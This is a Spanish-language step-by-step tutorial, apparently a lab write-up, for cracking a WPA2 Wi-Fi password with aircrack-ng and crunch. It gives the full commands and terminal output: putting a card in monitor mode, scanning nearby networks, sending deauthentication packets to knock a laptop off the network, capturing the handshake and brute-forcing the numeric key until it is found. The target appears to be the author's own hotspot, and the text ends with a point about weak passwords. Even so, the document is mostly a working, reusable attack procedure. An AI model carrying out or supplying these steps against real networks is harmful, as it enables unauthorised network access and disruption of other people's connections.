Ataque Aircrack

_ Para empezar, es muy importante contar con un tp-link de distinta marca pero no tan nuevo y que detecte conexiones hasta 5.8GHz.

1)_ Instalar aircrack y crunch

sudo apt-get install -y aircrack-ng
sudo apt-get install crunch

2)_ Chequear adaptadores de red:

iwconfig

```
vietto@vietto:~$ iwconfig
lo        no wireless extensions.

eno1      no wireless extensions.

docker0   no wireless extensions.

wlx0026ce0ae763  IEEE 802.11  ESSID:"SANTIAGO 2.4GHz"
          Mode:Managed  Frequency:2.437 GHz  Access Point: 98:77:E7:CF:52:6C
          Bit Rate=72.2 Mb/s   Tx-Power=20 dBm
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=69/70  Signal level=-41 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:10  Invalid misc:114   Missed beacon:0
```

- "lo" es una red virtual del sistema
- “eno1" es la tarjeta red por cable: ethernet
- "wlx0026ce0ae763" es la tarjeta de red inalámbrica.

3)_ Activamos la placa inalámbrica en modo monitor, es importante saber que a partir de ahora no tendremos más WIFI:

sudo airmon-ng start wlx0026ce0ae763

```
vietto@vietto:~$ sudo airmon-ng start wlx0026ce0ae763
[sudo] password for vietto:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
  20391 NetworkManager
  20398 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlx0026ce0ae763 rt2800usb       Ralink Technology, Corp. RT5370
Interface wlx0026ce0ae763mon is too long for linux so it will be renamed to the old style (wlan#) name.

                (mac80211 monitor mode vif enabled on [phy0]wlan0mon
                (mac80211 station mode vif disabled for [phy0]wlx0026ce0ae763)
```

_ Podemos observar que se le cambio el nombre a la placa por wlan0mon. Y ahora verificamos ahora que la placa este en modo monitor:

iwconfig

```
vietto@vietto:~$ iwconfig
lo        no wireless extensions.

eno1      no wireless extensions.

docker0   no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Tx-Power=20 dBm
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Power Management:off
```

4)_ Lo que hacemos ahora es ver las redes disponibles alrededor:

sudo airodump-ng wlan0mon

```
vietto@vietto:~$ sudo airodump-ng wlan0mon

 CH  9 ][ Elapsed: 6 s ][ 2023-02-16 22:34

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 DC:D9:AE:8D:9F:69   -1        0        2    0   6   -1   WPA              <length:  0>
 72:D9:AE:8F:05:9C  -80        2        0    0  11  195   WPA2 CCMP   PSK  <length:  8>
 92:58:51:68:E2:C4  -79        2        0    0  11  195   OPN              Personal Wifi Zone
 8C:FD:DE:94:86:A6  -51        3        0    0  11  260   WPA2 CCMP   PSK  Fibertel WiFi548 2.4GHz
 30:93:BC:B9:83:E3  -79        2        0    0  11  260   WPA2 CCMP   PSK  Fibertel WiFi755 2.4GHz
 52:E8:FE:D5:AD:B7  -34        5        0    0   6  360   WPA2 CCMP   PSK  ( ͡° ل͜ ͡°)
 98:77:E7:CF:52:6C  -37        5        0    0   6  260   WPA2 CCMP   PSK  SANTIAGO 2.4GHz
 58:2F:F7:0B:3A:41  -55        4        0    0   1  260   WPA2 CCMP   PSK  Fibertel WiFi103 2.4GHz
```

_ La red que nos interesa es la de la carita que proviene de un celular. Entonces para el siguiente paso vamos a considerar todos sus datos como el BSSID que es un identificador público de la red, asi como también CH que es el canal y ENC que es la encriptación de la red. Ejecutamos el siguiente comando para capturar todo el trafico que pasa en la red de la carita, y vemos asi los dispositivos conectados en la misma, que para este caso es una notebook aparte. Si no hay dispositivos conectados no podemos continuar.

sudo airodump-ng -c 6 --bssid 52:E8:FE:D5:AD:B7 -e capturawifi wlan0mon

_ Por otro lado, vamos a guardar la información del tráfico, conexión y desconexión en el archivo capturawifi en el que posteriormente cambiara a capturawifi-01.cap.

```
vietto@vietto:~$ sudo airodump-ng -c 6 --bssid 52:E8:FE:D5:AD:B7 -w capturawifi wlan0mon
22:39:12  Created capture file "capturawifi-01.cap".

 CH  6 ][ Elapsed: 2 mins ][ 2023-02-16 22:42 ][ WPA handshake: 52:E8:FE:D5:AD:B7

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 52:E8:FE:D5:AD:B7  -24  90     1420      107    0   6  360   WPA2 CCMP   PSK  ( ͡° ͜ʖ ͡°)

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 52:E8:FE:D5:AD:B7  84:1B:77:50:D1:24  -42    1e- 6e     0      118
```

_ Vemos que el único dispositivo conectado es la notebook y se ve su STATION que es su MAC Adress.

5)_ Lo que hacemos ahora es obtener el handshake. El handshake es cuando el dispositivo que no esta conectado a la red se conecta automáticamente, entonces nosotros debemos capturar ese momento de conexión, pero como el dispositivo ya conectado debemos forzar su desconexión para que reconecte nuevamente y asi capturarlo y se guardara en el archivo capturawifi. Entonces, sin cerrar la terminal donde estamos, abrimos otra pestaña para forzar la desconexión de la notebook y para eso ejecutamos el siguiente comando que contiene -0 que significa desconexión, 100 paquetes o cualquier número que son los que van a forzar la desconexión, pueden ser menos o más dependiendo del dispositivo y de cuanto demore tomar el handshake, luego tenemos la dirección BSSID de la red, la MAC de la notebook y la placa de red:

sudo aireplay-ng -0 100 -a 52:E8:FE:D5:AD:B7 -c 84:1B:77:50:D1:24 wlan0mon

```
vietto@vietto:~$ sudo aireplay-ng -0 100 -a 52:E8:FE:D5:AD:B7 -c 84:1B:77:50:D1:24 wlan0mon
22:46:56  Waiting for beacon frame (BSSID: 52:E8:FE:D5:AD:B7) on channel 6
22:46:56  Sending 64 directed DeAuth (code 7). STMAC: [84:1B:77:50:D1:24] [26|65 ACKs]
22:46:57  Sending 64 directed DeAuth (code 7). STMAC: [84:1B:77:50:D1:24] [ 0|61 ACKs]
22:46:57  Sending 64 directed DeAuth (code 7). STMAC: [84:1B:77:50:D1:24] [10|61 ACKs]
22:46:58  Sending 64 directed DeAuth (code 7). STMAC: [84:1B:77:50:D1:24] [ 0|61 ACKs]
22:46:59  Sending 64 directed DeAuth (code 7). STMAC: [84:1B:77:50:D1:24] [ 0|57 ACKs]
22:46:59  Sending 64 directed DeAuth (code 7). STMAC: [84:1B:77:50:D1:24] [ 0|61 ACKs]
22:47:00  Sending 64 directed DeAuth (code 7). STMAC: [84:1B:77:50:D1:24] [19|65 ACKs]
22:47:00  Sending 64 directed DeAuth (code 7). STMAC: [84:1B:77:50:D1:24] [ 0|62 ACKs]
```

_ Entonces, mientras corren todos los paquetes, vemos en la otra pestaña de la terminal que se tomo el handshake en algún momento:

```
 CH  6 ][ Elapsed: 9 mins ][ 2023-02-16 22:49 ][ WPA handshake: 52:E8:FE:D5:AD:B7

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 52:E8:FE:D5:AD:B7  -30  77     4889      282    0   6  360   WPA2 CCMP   PSK  ( ͡° ͜ʖ ͡°)

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 52:E8:FE:D5:AD:B7  84:1B:77:50:D1:24  -40    1e- 6e     0    14439  EAPOL
```

6)_ Salimos del modo monitor y recuperamos wifi:

sudo airmon-ng stop waln0mon

```
vietto@vietto:~$ sudo airmon-ng stop wlan0mon

PHY     Interface       Driver          Chipset

phy0    wlan0mon        rt2800usb       Ralink Technology, Corp. RT5370
                (mac80211 station mode vif enabled on [phy0]wlan0)
                (mac80211 monitor mode vif disabled for [phy0]wlan0mon)
```

_ Verificamos:

iwconfig

```
vietto@vietto:~$ iwconfig
lo        no wireless extensions.

eno1      no wireless extensions.

docker0   no wireless extensions.

wlx0026ce0ae763  IEEE 802.11  ESSID:"SANTIAGO 2.4GHz"
          Mode:Managed  Frequency:2.437 GHz  Access Point: 98:77:E7:CF:52:6C
          Bit Rate=72.2 Mb/s   Tx-Power=20 dBm
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=70/70  Signal level=-39 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:12   Missed beacon:0
```

7)_ Por último, mediante la herramienta Crunch lo que hacemos es crear un diccionario de palabras o símbolos y lo combinamos con aircrack para crear un ataque de fuerza bruta, es decir, que pruebe todas las combinaciones posibles hasta encontrar la password en el archivo capturawifi-01.cap.

_ La estructura de crunch es la siguiente, en donde tenemos el comando, la cantidad mínima de dígitos, la cantidad máxima y todas las opciones, es decir, los caracteres o frases:

- Crunch <min> <max> [options]

_ Para este caso usamos 8 de mínima y máxima porque ya sabemos la longitud de la contraseña y además sabemos que es numérica por lo tanto colocamos números en las opciones. A continuación vemos la ejecución del comando:

crunch 8 8 0123456789 | aircrack-ng capturawifi-01.cap --bssid 52:E8:FE:D5:AD:B7 -w -

```
vietto@vietto:~$ crunch 8 8 0123456789 | aircrack-ng capturawifi-01.cap --bssid 52:E8:FE:D5:AD:B7 -w -
Crunch will now generate the following amount of data: 900000000 bytes
858 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100000000
Reading packets, please wait...
Opening capturawifi-01.cap
1 potential targets



                               Aircrack-ng 1.6

                  [00:00:07] 109272 keys tested (14843.63 k/s)

                            KEY FOUND! [ 00112233 ]


      Master Key     : 3D AD 14 ED 72 9C A5 C6 C3 07 71 15 96 FD ED A1
                       7F B0 3F 8D 77 35 E6 28 DF 51 CC 20 C4 57 B3 FA

      Transient Key  : 7B FD 3E 16 D9 31 77 AC 81 AA 22 A9 13 F5 18 3C
                       CF C9 7A 80 56 CE B3 6D 56 69 1A 1F F1 17 66 4E
                       D4 30 5D 3F BD 92 42 69 DB 69 A6 EF 07 8E C1 54
                       27 02 90 A6 BA D3 E4 7B 4B 50 F5 F6 20 D4 18 26

      EAPOL HMAC     : F1 2A 71 32 92 B3 BD CF 7F 9D B9 54 07 53 69 22
```

_ Vemos que la contraseña fue encontrada en 7ms, extremadamente rápido, y esto se debe a la simpleza de la misma en cuanto a caracteres y longitud. Cuanto mas larga y variable en caracteres sea la contraseña mas tiempo y consumo de procesador llevara el ataque.